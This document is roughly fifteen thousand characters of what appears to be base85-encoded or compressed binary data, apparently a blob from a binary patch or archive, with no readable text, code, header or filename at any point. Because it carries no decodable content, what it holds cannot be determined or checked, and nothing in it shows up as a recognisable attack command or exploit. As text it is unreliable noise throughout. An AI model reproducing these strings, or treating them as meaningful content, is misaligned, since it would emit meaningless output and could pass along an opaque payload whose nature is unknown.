zr5wV%i!Iml6lSm5rzLo?lIe&9uW08sM(B|QSxqgVOCwzP+sAuTyA7YR^(r|${LPV0 zqJ=)Id8(V(YG{Q;92gB5)= z62{Xl3Mf`abf~7y85>!hl8BDb%4as+9cytLpeQ+tmCu(TYcf4XEvtCE=0qRcfud~xRH+AQO+@nYZAA*Szyqj}|u9n$63eX*WP+G6SmXW<1$alhXZPzsFMvDEDx z0c6$%3=x$LV7@oWa;1_KVwmZ=Ulv71>bnb3MhF&;OxXK2Y2Kz*s3>CS?*YE6r31%k4RaWBHV)Rwhf<+VB6- zxse;`;e|k#TCQa+_S^<0lH@YxBlZij+R~2{FgeXk^7iq(F=785R|d2^mGqZ-?vUhk zAvwgx_vt0#o`#7HeH3JeGtc>FsWj|7&$>`-t7FZO;GajY)we}FJT(aWjIlyWsZo8h z0kCK?uEls^%f5WG9`4lK&{jWOv8#nauAPmUC0GTu`e%~XblHMmfnFHgFI9F#7DQpN zm9|hD`se-8YAv(s6OcKb3JQjz?Clsuz;fq6em_e)jRO>%FxfFfW}J2Wa)GXMDf{tqC51g(v%=jbW^&($8ps%w1G}Ph0O>;4>b$ znZdnGF1C2MmH@(%0|*Glb%`t>0)SkORbuz6M++^U-n;Lk|@iX98JMfXAo_ml9 zC?XaCR~UyY)7cfK+oV)+eZ#Em9?h)KrT+YL(uqSeb?n4y##aL9gug(=2iiLls)&m! zWU>LW4_m$%wKJ?!Fs})U<>_E{VGF$DS56=<+f>ErQ*mIGs8Ga4l)#qAR*)7o&Sy7f zIK3fk*X1M;dprbp5xEq406CSH)3Q4=<=ZHMBsUg*qH?4d+OE7%Ea!M|+0<6I)vr@}PU;B{ zNM?Oo@c~v2v+rMx=i^a?3h?^;wzZ?v_9A{<{Jtg>{G+Yb_LIwh={T%7Zi@C@wdu-@ z3GFAsw?GrZCY^Pu?Kp2XOkm4Rg~-w*f@At*be#{jtB(c^C-05#F;dnf$=CDTKGQKL zb5{k$A+qY`Y%Th(J3&{^@KB!{W=ooZNFE3rDzV2BAhBK^J2tx`AXOp`vU7(Ezb=PX zRq0gQ9zw0csp_#Qzh3U3O1WMM-N>{W zW^CF4g^;4>_|!-#d#el^r7&u2R2j86mC$uquDpbRi%!Wi6TT_U<9}m~12CG=+2Rzp zYaR))5n_RAWX$oA4JavE4{Jy-!(97^=!Nm+vEM3V+sti3Bh%qAOY}FKjommBmnaP! zOxIobYonU#4uFUIaOBmHTRcxUhHA^ThPO_3>cWr%Y@E7VYS%Z%>r=nr8sX2Q*Outg zkoqxlpEwk?M;^hJ8sL?eju~z%o%zVqw|8sr`CeobtlZIOjId%g@OpB^o35tM#d0@) zC$q_FkX{F2qkxd1>>8!>x;Feuh&UOmhSay7M19k!5$0m2pRfHh ztA2%4QV^na$V|>_Sy97_>sC$8KQp6*!uafEhZOD=22FP5WKBIkOlvy3@?NJPsvsSB zd(eT3@B2q}VHEHErkOvbr=XMj^;{yvr$M~9hvHLBc20r(sisgdTYnIK9*2Emt<;%G z0A1?HnMBxgTT)c>yU)YUy`dHbDhyOl<^x$r6PI1Dh9*-unS{cMk2ZC4r4x9JGRM>Nko>k|s8NULWS!EjK75z<_-sX5oZ7#Kw z$TsFVPeH1IqaqU4MAA}ck7457{}-<5Dy&%3)crC`OuAEoBvMc%BT04ffRPcxywmNE zYHT+={A`RtYByXAbTc1^h&@)Cqd>~;vtoVEfS_bm%5B^i(?`lzY@I7i)3FbsmLMYo$+3<0J1eDz;ROMdkCEF2)=8A4VV)7FJbKqbWYM>iE zH+XG)dKNde$3t>jb}*0q#6mB}-$C0J* zXnKLJZUwr+{k6C@vPpFlt&OiuMMWWpO@GR+D^qTgZKpM=oz#6(Wsf3e0Y)&I zCIl#qrIy4V8$j{#QlF*?)(5lICf*Re>S?Iw@avmw4VWwlB=T@c9ubp`8QBcb%p~9K zVSQl2l-R!BL5pc^%Hzkg;I(18by2!oe^_JPqU4>twYo*t{SO^C<|wl3=YX2LD*5c&P1wrluvi;xGA%rn8EB zjH|ihZNrNafBvZyrH=oj6HiWg6|_aOLCdgM?Hu}qdEKi5{LQ_uR^{@@L><97k<;3{ zTz`W)6y`yZ2j{as6-$yWD`+nK+E$i-C(o2c>{~`uLo!9{uky+ra}qxPG)WNCKSszi zRI>^ZY~Cq82_Cq1&1ujZj(zxi#-@32ZEfFI%x(%p2gmOt5?{d5k~ZWl zy;chDz*@1*l1;9Ri@%2vl+cU{zNBzq6c%+LABu$KOcd7|H5O&m*ddZanF6&-3+ot3}^v-0?YqtaPLGllm-If+ZzqHf8Tg*g!U?O{U|=SRBR%c6&0f znU)x{3xvVi#FXFjDS@oFc^jr67!4C@m1?)Xm(HhcFTy~*{LI-JBL*U%W9PnAS{TAL zA|%h)rC+H3E3Y-*gV7VZqZJ~iJoYL-9v9HwkQGoW&-jykLPIkN0UGU^lWh4|gvcIi+X*Dx_mvnr_yO9!>u6SlHE*ZcW@1JN<`GkFugd;k1!$6#K#q1_n z_Y78}6{C|GT4u^u12=twBD7c0V01gTW&6VnfAcW}RxKrWfZ-DLM$AZr8Py70FSEeV zwIrk*lT%}E0gmR;QK3Nz?~%dx9GGAPHXUioe{~A8>*mKNnO)Ib>R61|7XfuVQ9ezP zg0WA{!=1_6;fsE;0EGkZSuopRG8B{!DoD)d#=%&mW#~!72uuM|9aSdHt2kbpaIhjD zDF=8{d{0kYYMPi#nu~3tTv4c@2#uPXR;iaX@}iB~$n!N^SIm{E0-@P1q=gH6;pdh{E{p!&}>9od)C0>xIGDtFhrV zd+*%xfg3N|uW9kXZ4#IAfwOrbl6kRysBrQsRWLOL+xYiz@xUEH$&XWHgI)huKIOqn zRqKolNwo`q6QU$Sahs9}rA>v?sQCzJVE52s9l?9Aenv(j+ zI|DhpE|0oG!?ES||7oCY6j3Zp5|5W5X2H(!4%pH4r*?()fN`v$N3EfrIjn+$hhjX} zSn2V{;!0OS%r#W%19qR-@@u}_8nE|hzajE743avaQm0-o<`uWEfz5|55u2YTy;45# zJ-oo?7wdpa!eN-R52>Nx=9P$M!54c-^A6@1~n-@raB7e_6^j?5t|YLkjC zTy*E8JmZ-!kEwN{nepQjn{ktlSV}c%TbXLNQioz_09#|)lx4M%7cY?_P~T8byFN+e zDP}4^X+8jH*x2 zzB2E|hE$48;J&?J(bEyN+=udMoSR?qfi}=Syp7#FB-PCe2`>=}4eZ=k>bdnm;~!0m zaBkl^UhR>u%2PY#rw4htA~>vT*EvR9l38`Oj|%zPS>@BLX&#!j^3pp#&o&lEZs!Uh zL#CaP0PN`Z7o{x+VlPKPPvlm**#0FjG_?!WcIskzM|BI;pG~eTX$Uk3pftu2D1Gx$ zh$z4gV5gJbXHLtFmw=iYJNb6|;Aln9pFP>0102ax1m|-ep@t;(Tuy7H&O0PdGWMPC z6ki!_Z-kx}s=9mO$Ta$YX+XcB#;r!FL=wXYD_Q>uijSju8)0>zV`bcVv$o_SV?M7P zhBeOlvczM~_kkNMS#$yDJvW8-pzmo~bF%!p7XSoB(UDV>L;fh}&R zUS!{FDSo&1Nw?zAeOhNldmzvv^z5UNj>!e6?LOC9z&XQiD}9lW zNtu67y^#48&y1V4kaulyxWJ8mILV*qsG05eAU)aeQtR9)$Ea83GcMw%_WEC#?YB2r zUnNBz6$IlLDch+OLe`-CRwZnv1Se6=$6+6f&Kh>_Er^N+wRrrmWc=4L{%bM8*04FD6CmcJytweq$muMINg z>4;NbUfZL3GgZ>9dTRq-E$(}jqA{lww6H!sz*38*A#

C_CPLn!S0v-|*<`G0{Z6 zKB**#>6@9AWQ*dKpCF2$?^l~p()yF0tTelTm(A6%R~xUy$=$j*D>CiN(ec=YIc(w%oK?<*`cqKCi}Pv`+=ukWJ>!e{ZQc$zJ(fi2OvF_m9P>$ zeTe}q^$hAAiq*AqUMqFXIr_|^My}>AGcfIFSH4j+|1de@K*^arX>w!A4~rT;tj%6Q zW;hPwrXYo*gyJ|y5qEF|aRQL<Z3I{6kolXc!NU zhVjEciHA{3%Q1@XwJPdMk`WRJmZLef^A!x_zK#l>#-O&WIjKke|qJ~m|Zw2r;$9a=r%Vj_YL$!*9luq zDUX1+Zl|D4V}iJ8%y~2yEw(3Ma+r4joGwKor|ru56bogh?rSdvBw!ZyWpy+K9<$`}zA z&5uQYgk2J<0lKqlV(Gs54YMghYcc-D_tpd|K)w6Kdjw;GJL-q%mc;`-u5W()8q+t= zUgG-Z^ZybzDoxR0nnI0g+s93o(3(19t=PmiKHY`kGZgKQt8^Aa6k}##c}eV0D+A<+z3b?9HWcHAD)X5Z{!u3wKJ#qDf2E?a!2xN z^@P}nze*#eKwXe4f)vin2Xn>WTL?<=jl;zy_vm927PUSIwBdTU{$g-gG)(TnKf4!t zgi>c-CoMceL(q%g&Esd9?vog%|G|=%7o-dfKmY^h6G)P+xjG z)QvyXn2?QfnxSx|=v<=}rQ38UHF;_dn@?bhj)T}RrMgRR_lk1!6F<9nO6*O0z5^JD z%k=pXTNBMU*Y935HD)@AyV9XEoix7J+@3#}7mZ6zFAej1a<1PL@I>S%Ky;EbQPbl* zL}P)mrFJDug?q@XCd_jl0UELM9stHzy&o$heldJ$g68aOl^Ar=w(Q@G?C)1ov>c z<@0fg?&oul%*Vp3@q6cZ*b}?_he;eoaz>^0ai{T7)O(ZFTM%teJdi6L^0|9x8wLNy z3uecgm*tjILIY&H=LbLyNR?X-PY_uIzys~IEmvxJpWu|5;9lHx<(8eJ{tAG%Jj6<~ z-13N0Sd{T!1TOS1diAe{LjQb)5gRUcZY`|X+SIKbjC(I&6+54*#LwLQDor$JJi$-x zCc*ZgMmBOPxfVMZV^Ni+$U+dK##@V+tt?{xLr_XOu;J9J1?uhiGmfrktAj{uG*Qfh z9Sp^kczs@YEp)t&biCdyy#D&&Glti*o}3;p_|jRVxMYXlj-!r_ry>mX@z}T<2}gyi zTtcj(#S464PdXwnqwSJtrzCG}#nEUFq+415Vh}c8Wgtf&G=hW}P8cB7uX+e(-I-9`HdF0u41yd7 zS2fI7jRUAlNT|>16l2i?Lv-)imSu7_=nAyv!3_#8D2%sdUQtn6xT|bZjm*m%vbibE zY)IjR)RzL1rE1uKJnrhxn=eq@vMKU2ge%(u&@%qJ2JaFY%(wRrG5V4W?iHEY%TuI!LC;WyD;JOCEYIyds6toag`70vU{_}Q-C~F(|tX2 zMH!eOI^t2g7o%>JtXoOV`v} z<8&t65JcquBnd&`v1XaaI2o2wY|tHK<5yk4ON=cG=zEMNQsSGd`*Mr+3~d?@7iTyE zBFwl44KPpZ%>W%66a{Y_NuAG(d{()GMcj&ekXcGFsfTdu7Z)!HQT4lgZ7cpN z;$)YMExsH5)wI~w6}68vEciOo45yKup)CntplGg&SZLKPBDbX^T;Uw#%n^UPDKCdX znk}GP%!=LTYh_93J)cOQs$9gx-N#PO_23F9ihZQ@(f4W#p%R-7`V!O16+4Zgt|xx0 zIn(=l`Wtv`nbh&Y=OER;6sgLmEd2*l0Gs)#ZQo`JV8q+atky(z!Y{rA|79b0M3)65hZtg024-Q0 zwW^IDWpwc6SIr3Yjj(YYcX0K^QB{v;~I_9>?9>_9y=N6sI~6r zghy66^I@PBJDRTP4b9k!PEH5bhUR+^f$ZS3+=WQ~>-StRH)qdfI_7~h%x8wcmpF`w z=pMDFYIPIzFe>rvjF7fmtv>6Rp9f^MT#oG7yY4C&V~67g=xf_9ItZv5Ird7eM8mwC zUP&&DE8qeyf9&a@O{o2kAw_DR zM>LPrN(?Q1}HD_8m#TC-K+kBLbK zRyCMC{pN-os=dG}G^{7T##yDvZ9;#(hpwqTPsL2^`n@%LU0W}ToEXs}C-UA(9Y49! z?-+w=ciIrREU z3n6(S$(dE3O(%$rI&VZ$*5=A9DzrCXp(#~TYPl!AZ@wz+3W+b)>TNay&Qp{!Tcf%* z#9-^uYodM7hxdg*d47tK!&^6%dnr(4`(TbXqP_cm=52B@~QdcHL-; zCR7UXPn$n&{D=&Yj7N2_aR=lz_rZEs z#KwIa%mDxRiU?|$OH>L*Q{YOq{ULArjo$VSeriAZmbXp$)yf6c7dq;F_AcQMg!RS2 z%6~=cKi@`R)0GT-?Ud)vhTIx88jmW`b%$3zWItBSY}2(m)YTKAYW?d1KZ1$gX!X?S z4U8kXH9f>Tu~)j9kJ+H)U^Z8A?xVsrBs9&>3Bo)%_y%)sOS; zFPI`Ko$`_N3P0sC(gbV=L+(WK1t?yrVLYaUh#UefM7j~#XY!aX;%2e^2B6)p(L+IP z(*inH8*9_piBa{B3MLPF9EpaEWhc9D>>}D7+}&3?N_`0}EUKLq=mBQ%K+cf z4ybu`ojt=Wjbh;Y0tGc@B3FQi!5Tf1O0~1B+E7P(7zfHnRjq)d)8o(t$%kWNI}Jqt zx3vtm?iT3YpX$So!Gt>$7fhgRXvffmV08s!(rL}dRolN51+>9FlAot6^uy6-F3LWn zU0l%8IQjq{Nk<0Mnfe?DVOyHeiK}PwUmQRKPw6TV|2u`FnCW%^lX(8Tn7q8%Zn)?f zGpJ@xFUUBEIF!;4g^U9~@bAX?h|y5(zJt=<4a%=bX`;~eu{yiWYB=uEt2I#@Kw#?t zg&iBAMCch!LJdCgif;K~eM`i>Db6)uh84pL6$8tf&^L0i^J*2h#n@F^Hc?(fFwR9_ zF!fZ<>Ubde+N8AirgqBJo;Ywy#^+EdnhKk)k=YaN5Tsqv6ZA$`wS$2v6C38jmNrIX zPR#5gGy~rkbP8pS*#kT=dkXZNnAzJvQR;~DQB{V^j*X}}hn8mc#&#N*{e22WE3BwE zvsWC0>6l$KN_9z$ekKVqqf0@-+O3PS+xLR8p#@cqu{Z3Vv5lG$W78R9>^U(h$6#!i zmY9?zX$H1}v_qYVjD5Wynivyf|7QQ)Ft!Z=y!JF0+k0k=-8zY}!;X5G!#xy}N!t!V z)pW&WpMo<3okNrv6qZB|)o%QHqTg5UXo9J8#d}*NVZ}QY`OFm?OYNt8IX~wX?R$IY z7R$Qa0h_TsGoM=@=6CjG<}X>Bng7QA%=}9SGxM*gWaj6qnfWWmQl?>Vjyfj}4%wHW z#BxKuhm)d-Ay>}QMf>PduH4&2DsS4x&PCr8x^s@+O8e$YuWgODE?!9`wk=96zrQs& z-ZyU`h&8@=arHthj-gGmI9e*9NZG%{S1Nn&%=ACni`*VTxo?xAglpw{t>(upc>!Ms z5?yfp>Vn!smMRqj9(LO7rrLZifrlEe!$W^CZJNHVee<~4bnK=DhPZvcEU3U|>B{)> z8RIXFN`68m9X!WM0T0|`DO9^ef3DJ>mEVY?&D-Ot!bPV8cT3Fq(GfZnhUVA#ZYPO% z*+9XINp%!X2LHVQ#TteHT*pe$J__2Fj>FkXZzHjDh$R}N#=AwQK9 zWwCQ3Z?c=A7casL-KLdp`IH}=VkYp%UjkE{4>_qzebhg00e=+DDq$&Li%DoB>^dbb zz&BFU_n?D<_eu-&Gnb- zXGWc%I#cDqfGVc%m{MUOEwj06tGFdMaMu+Nuh;*%%vVSk0X1y)OHZPRs_{B*c`b~y z;~PAz&q&ve69X~9mAlnq#r^g=8p5X#76KTLgVAT87!K^F;dVDnk@dDP(M2=8srrx6 z%2>RV(MT~KEoXoI_;|-Hih&7Bl~R*ka%`TuFT%VVj?@CKe9HQhj6eSKWccI%-0jO0 zH(mHzG5hIe8uB>BPQy&Ks&5)6;>K3OLMf5|Qj|$Z_bC+=eRi?WL~uIHd`bROK6!@o zLvyag=4_F>PtbQIDLM9Li&A*6ox^)O@AG(vHm{w>`vRU9h!BAzZo85$38!!=>3DI! zn4_rUdl*tP+q@vIy2ux!;5Zo0hIGvIN@P$*UsEs%{L}gL%V<4RduryS>8}0?1LHld z2@NrStw?9GydrXq9mfQ7TMOzyFPtl;HdU4d_tza5T8x}NS_|)xW2n}XYJJN4p;B{@ zUm#{z6T#r~A_>tsl59`#UGZzaD@((7^(McVX6+_%a_!>nQr;^D-_f)yzvk@X;Mv6o zY&Xyk6ENaUwS`rR6t*&E*|qd0Cau}+N_w z81W11jS*9DTyp=(5jJCcO;CzAJeNTyP9V*_%+C1=MBUZ43|M=`j_-!3}#Ip|%I8?OC0?9Rw@B4^)1IC~gfsowGr;&?F7 zus0U>{8!khY-{|~i^(h9(Y}E@A)uZ);Epq_VNqh4;7dzerD*;lk|70edv{+(Uu?MC zhwR!H+mJoDfFb+i9Z#`0(kbX+qZh)O{|VfNY9Hfrr#{$YVQ}bOkXyN9*xJ5#p$J&K zQx-#-XKT9juGcerJB-NwQ>f8HGpop#b)}AwVg^*nzs6V!n#4bp>=&jb3Waef!i%v& zfqCTFGle4NZG^!f7MC!3kvbAVH9szHcXgz#68Wd3jqieB!Yj+EDs5olws}fL3f&ypBpY0CbKUuGs`V=WA zX_l|gS^o6~LM(5-5c4QE6gV|5V4DUmoc%x)j(2zQF=!6yrw2F%k_>_n8yG?>$v@gP1NT@C8Jv*T&vy^e!7g zF7YdIX3{Bo#Sat8=b}LhO97j34n;kH*;J!(G^3$|gs;YSVx+PJFQ4RBMsgM56a8q= zm0KlZi3`0W))ZWC1j%&=9QGN%I^ba9{Wv1M;bs@_PabRH{nT-Y_n}`kjSM&Rm>r!s zs{iD)i*vL;yiRFsaT;vxC5G*8Bz2B7qEC9MDkF6rl0%3(bYNoqDjaL^+n5~FW7HY* z#K<;he?SNH{Sel%*gyENuR4k{WA^0>LMxWZc`;7SYMd%vW(Y-4Fuho|XY58!9yvgA zOs>?j=HrpEKZuRA9~3}|xv~G(uVL)hzHH>E#uga2Lc}qvwBSV2a`(m7wD+G5c>n2Q zF7paQZQS!CblkU-zn|17Xe{`fqtL0yqr-qF?TpuhKiTM44X$gQSO9(mJ9r6xVEu?4 z+U;f-$<%f`xEAKs4~s9N6_DN8NBzO0H)ypSUjx+kl_U-=;F*H1*(n$EoGDQ$kD=O- zRx2L5rJ)%Nwjp`O^quD2moh=shJ7d*=V;De7uA+GuhRgr%}^o)?VPLq@%%ZqTG26G zn|)Qg)!|$1ybjM&MT1#;-`nBQ;x}u@-~QAtyOm+!?BWPM{La5e0^na2@)5t~5yG;D z2F1*yBk~m_7y}H*j#2K$j)-S`cuS?6}2I#`vQ^WR68XRL2 zRT&1DmbMYFQqM)a`R!%H_~ae14fIc?zLFTd8ZO1^vL!>=hg7%zN`?(4?yQ2xa4F9b znm^`N-WQ_w#-OXsQ@^c<5w%(!4tIEm0IlM=mDWP`A-+!XP}6mHSYKjF=h{?0KsaCX z*3^S`v+GxlO&jJ(u2ETz#A|iJgwn=|ZsbLW1`3QcPUG2;O&!p>w&+h5&KHcQ10ojs zEVaOfj%$_^o_eGyQA|`U@B|L7M>8Ps4yKVo2`!5<6Q|Q$^TG<9rXi_6P z9xH~s5Qc{0ASD&kptMH0GY>?hqg-!gdOs4UxOjl}5njUIZB_OWlZ?RLa%ch|5)s;o z_>|O0Jb3(w2~D7P0|VF63|xyDm<|rrp7%s+Qyq`RWIdYceK~`axGdTeJ=)mGIWDZJ zPCoJfP$$Jr@@5C#9U1`iYSGWG zY0VqBvx|SyjeHMmz@*ZQQv2yT0Aq#Jmttmo;xo)*DCJWQ zJIV~OhhK;R_ObtbYFD9i`%x*_6Fv+SwXi(206x;U<2uORGW4Nf&~y%3Ps^v=4%B#x zo5!$j0`sQYb=L6)TD)Lf>a!u~65U66xO$9?xnS|AtAI1TZ(=ahzPyxRn4=8|H4?ut zwZ-gwHC?xnoivpIQ)$ur25`3ERoZ5R&mj zW0OYVW}hC`5%U{6PVhay_p-@(2GnDDsU(A7*^!~tocPFA0BFUS8Nk=%t2F_a!oR-Q zlcRxfJC938&`%8gwi_c`whB*O+nyTs6JeFw;e1Ot5HhkYz57-8l#W@4gS*|$Q+;Js z*0>o}-I(0A_v#5j9A&&I!3-W)Jx#SSLpZLFjkJgQFLbv$HKHyCGkL%awEByK-<<-o z7R_<(;KL9Ln?Od=qmOt_K7=rFinlPxY^`K|XC}G6aUX76D{@&{r^b|2=ENt$y&_mexzT%{K3=@0en|BGX@762eeknVK8^G5 ziwN(J**?Xo#o?~a=bENP&N%))v;)8@?s#%xB>Q*FH3$Q_jm&M78 z!N*kl;QwXsOW@h!^W*K3MtMP^5k94v{{^2sY>ATKWTK7V$698MJHaH2MM zba=yMe-X}8Bg&dN1rz}dyUbI6G`7=kX1*4oS2gK%0_nwc z0iYK!La!6~Sj6WrxNqVwkgxWB0MOJ)t$XupJr8$;*1C{HK7h6259D=quUjd~N~KPD zD;Y2_+|7Tq^R_7>bcc4`}>9;!`Xu^H->NgI;7UreWJG&mm>Vjrl@ieoWVr@^!YkNSj zt(+4bpzW9+zkZNwB06uLtb-QO1eb^Q#*X^w*RZ>*Bn4E^m+?7t&Y!(g36GoA6D7<* zqk8PffSC6@y5AM-S@6mx$K3duZ|tZUn|-a8P(}%Vs%xIS?&{_mM#yj5-Igw6^1y#BM}PdKx>P=&Z=rhai99ljSdm#b;~;r#cm z*kzK_=Isv6<@p=IOi7yRVGJm|`{kF>I8VTZQO#YzIWaB-L)b#}bSiS#Pj!v&Ew5Guqm|ItI7cK#z<<~uG{gQ{ptGf_N5P+;g<4m*18t{Oyg?tfi~ z#{-da0=uiESrUymb#>z8G#a}EvqL3QhVS|!$w-;hpttrhrwMuy{O`}5-PHJ;UUmD# zp1|0z6l0&7AQ+pv8!-0EpK|$O+R2pR!~DLE^7U0Bp_FI#Kwo!gUoY( zSaG=Vlck?T*a$yc@pBLT+3q637mrlqxfRcCc%Bl8M{4lgj^_?M zNAO&SXRICU6Y;t^c%F;rZanwkc^;nU<2i$82hR&4@#dJw7MkPGgK$(-rrw;AQuvXR z5mF12uwtg!>^;lR@*!YtB@m!XCn@B`Z*8Dt`PdgFobj>+7QI`H*7;gQdd+% zp#8qTV}0=%zwglBXaPFw3a;WMQ%)F#9*@|@m--sdw~hUoz0HY6k0k}H1S| zRs)*m+kGa{Zhy{Fmmg&AKX%4?KpWIgJKvgVA@CX{=T{04$uWOIRo0piK#+$`y!y7N z?Hs8R- zU=In^=+WW9DOK}{+Ui8j9#|N1v|uDW*|0xJ7I}q(6H_$&$~=8N>wDs&PVbH6_#2uU zH-s9-;&vUsRXqZK(FxQlJY9q*{Y)4?)S$<=cE>BsW{*FVg;3`E5C|??;gzcl&cy^f z?A|2b!@_y{{4Zjy4nG#^eFH`>KQYw;uER~UMl8SDZmio3cCB{IwqpkKGo+nQiw_a- zG%=1jssjiP^>(6htg#iDo&JJnT#jfZ$jabXJZ99Lip8^qHN+0>7B{4$h(`!OzA?@4 z2L3_Gu2_s?p3p#Y!!E|hs*sUv@gF(P2zEeq4&RZ_l~pWxN0Hmci9N7X#6}OOhksGb zJM7$7#tL{D0TYc1KW5VpG>0GSeTk=f5@Bh39@`S~U~8crT8}DheY3Cij>TKkp~0~q zg*eC?`)pt9A3=vMGB)wb*55B|JqfLy_UmM4gRDXpmD5<4yaaW=8(;u5)dD4a;R8m!^H3hM{RAScFR&)Se6xgCC$k30~{p_NK<0Llr+52?{|c zdyKoB{}XKe7~Pd4ResTlV`_Ql(`JYmAS*70Ej9R7K#Abw3!7>Mi##L#Fy;+KvfwoU z2;x))vynuRevK6$$hZl^aCvaVrj_C#fA z$+lrv=x>A@xEN%Gdfmth-4)xPdmtDG2RJZV3X4358RCObi0jn%kP#T*K^1b6{Oy#i ztUo|rYl(gb4#>RwUt7WjmYx@~E0-QF^T0;MkU19tY3Hkpx#dRTi^Us5QQ;+@ExJEC z^Ls&SK;9mZm!I6C$=j7@bM^il)8O~7D0VW~%HU%H%96q~TxC6mX}*rTDHMm;uYk>P zpJMA-m}9z0e;$Py?o*VOcrAz?mNNnkJxj9;4;w|vA$|6!(H+NFE*UA#jqE<04n#7s zj~`sh_{OFryZOlapwS;@lU2Ta4l^#mNI{%j1hxF7v>f zQF~+aXx@N#%|JgD$s2CdgPYUj_-4iNFf~Q+v;hrh`{Nc_`AC-lquiO^Nd>Y=I^t0t z+cmU%=#%U|P}+vl1zOt0McIFRehn0-=As7V+G3^UBy`axI)~SNN(WT<*-;o$1oOij zflIN=yvhP*ZzrdXr3z@s6EghsC!$O*ezxJ#X9q_DeTh~6?G!S|71hll{~5Y1tp$B_ zxQiDBh4(sjLAOJPk8YQ}o?Xk(r3yI+55tBNmc0^cn|!jxn>@}BDfga^Ln=7-ltJ51PRopfar|}?0U9Q;K|(L)r}BDa=tO&)tcfi9 zNVdpvFrj+C2hvC@9zg97QoA!r7*hLsYBzk7<)a(NF0IUi@c2$Cn*_ENy zdCfo)jNaIjw;j$>CH?S#{H;SD2Pch$P6O85Qh+0wQK{3>{eT-UG<^CG5nRb5hYrJfcZgKL6+aETV-?(KA`AgYCw;mS~ z<{MOeMkIXXs&w&QB>T?|K(kAs!kVfw%C2$2rfaHhC^aMgnsu9|oLDylQmz?aIrC9& zWFF<-SYau5M1XSEWO{jyrQDUu?cK!ZZNHLEyR!>OW|sW5b})pykso^V2)7Ffx348g z8TdiS#-mq#?6k|4>|jgQ+^%(slI*1TU`e)_)J{H0^vEI0Sflf2O=EXxMMomZ0H<7YrK09W>DxyBg?Qad@_%nxH9i6#o)XOft@YjAc3Jk;Muvxe;?o=EAZ^=J~-`+ z;vyWh6F5jkTH^ZA*p9 z;bHfb-_wo=7l+E<=;LkSOOH-hi z8Z40>XanE~v83RN>g;_;xu@H54OAYDIH0D8*V{o;2tPS}#LqCmMbK|$S6`g2o$kpi zpRp zv>m?ps->{jZxDvVAd|zZnCYtpMs1h<0WZcXcrgyf3`MC?D#%Ya?m{^sNXQcs@KZR# z2>NMgQkd-S`!w`}_v&gvX&)zY@>FOc@@Z%uB$cAuAY-*CKcxcT5BR6?mxw9By1KO>tz#*`4! z$hRu~5Z-`XJ5}Ja00{)#IPU(2pThm$?&f-kXhI{a?Dg^GA-%yzOfW$WKJs#V2~(Ai z!qP_Q?u#2yBRT#G{sAf88^^yylQ{Go@-&=43~UiGeCB~8_>rEUiSN74D~I^a&WI~fKA{0P%@QwD_7ES!jnVR&w^qygP9Z;PMix4my~7Q;c5(% z+)`C{Z{Gyx`@b};cR@aKtS&k#pcBUFgu$T!B4z5z|3ewL=`6`-E-n^u$z=jxdrJod%ozD`hFqOQeQu$$FMa zPCVTH5FOSC(DS?T+&{3Ja&_RC8Jw68CJzpsIwSs&9y2@b-E!~9!=;~sn6&5W5;gM? z>+DCOeF)2td|_Q=@st<2>oM-YUO^=}^wc>8O*x1;83^{A;CptD-`vIHcM!s^K2#%O zmUl+5)d3DBfbhYR=~7rg>MlPpvn&8V%J~2|n*gA9rrAnmFl|2I*h6thzV$*eNZvVW zaFD#pGkJbUs#Rn|n^J{F&P@Ujv+#_vnz`Ia^(F%N|7#xX0=Q}9E#X`JCvbqkNl@$m;pcR9#U9CUGTKz;#> ziO#eXnK`jWkE!tnKZy;b2+p;XoSGc-$18C>9$j2lhEGZF+7w<}5&#t6skj1}1ARJn zHR)-QYHl!*az&9!9RXrAH~pc`AQcJ zXyO7n$_3IbRUn#3+Hyv%UDNjGRl<1JLjke@Es*{XEkh;>-vO)MFZ9 z3=`>(*7QeFzuHur;Z`fy_H~FE^)pVk2h;=Se0!K*p(vgwF<5Nq>L1ei9o7LsoE2X+ zEB>^9(hePw0zJ6`2_&$#k+bKe+3{YJoZu4R0i7!MFcv8niW)J8D3}I&`%35A`~+Zv zsaCa*XHWKVbiVlkt1u>edXGOEScXtVBzcze*nBZAC?+Y32x$xF_l~e67-T*Bmo*hP_C3S`F;KKC-u*->YqQMUu`Y_vvW9S z+O(<$3_H_|TIL^>S7>m#p^jD?V)-?PPFWe1Yjh~%RScGW8fE$HY#4_#LkH=QD;v`_ zjDdutvh>5WIxOW)|4CNepXAF!w7;gIMw2Jq(uOmf5)W*0(Bz>{{qFiBAgVDzptKDLnmk%V-Z8)zuY z>yu~)z``3M_$+wd+`CMdGtp&JcmsDF2ZTW7sVgsDrEQ5%e2fccCFL2vllX1*SwsK6 zrcjATTV+@v0$#%Y{=SM8l}+!JL`S1N*f{O*(1vMmr2<5&@$_Jq4)AaKJ>lOfpsqWT z_|k+(VivmRUPWLi_-)#e{Unic#o{yo$51_y1UU+gxKb*Xv}-Y*6{7nPH&Owjm9_Ne zJme>P#Fr*vsH);aIdT+m015L`B$dW$V+tl1@O9Ok1e1PY5pl7xjEjwBcCoRHi;ZQ) z7F)hZF-ZrF(ce22ix0R({$w15&7O>ol;-$iMUddhaYAC@W?B@1>{n2Qk_&+6&*R@Q zlZ2&LIvashmosWA@#TyQPZ&i1!f-fSOG5SOB?7b5N?Ly)_32ZGlrE*#D3z=4qpqvCSj7SH2sunP_) zS0Zdtajoz3jc5#^Q25GsM8Tfd0>|TI3R&VJD6DW-8QYBjCFfhizz&sc28yHYp!MGW~34)pTtK=eqgj4aO;KK5&-XayG^6p}7 z4_%eSsbr_YVfr3!(acd1#lusKnjy}Fq{YZ;^As`}BM(duKLJ|5P7LbF{BT24XH6uH zgAiahAXcU*(`&4Bdf?vxOV^qYh-5#5&ak&0819>y94^L~y$2vyR2yOKuj7OPTNf^) zQ~&Mn#+C{@5`27g`1uQ#Wy7|!!%?)g-K??*i8ne~?m3`hO$2BqHT5@~RDah8V}Qjv zrjoM}OgyJu89qAHD2+jOZAX|bl2X;3mMQ=5k#P$+vlc6O?R`wKc457B| z_3paObuO2<#9A|X<6>NW5tBu(>3(()inf|zLEJ@nZ4iGG)-YZKMhqCLZ5~#rD@i83 zHF7D;By~gHUs{zW_ix;(i5vo~&ock5XyM``l#p@ z?>8cMxtJTFNLSZtSBp=8gxqXbD^MeV@=MU^w}C{l9giS-6Zg**DDR#pAj*pp;pbq6 zIi&)R_9mC~k;@Xv`O@(I1=`*>jyaq74_;VEnA+Fn*vR#KXqMx|b!9TDF>&$9k3>>X 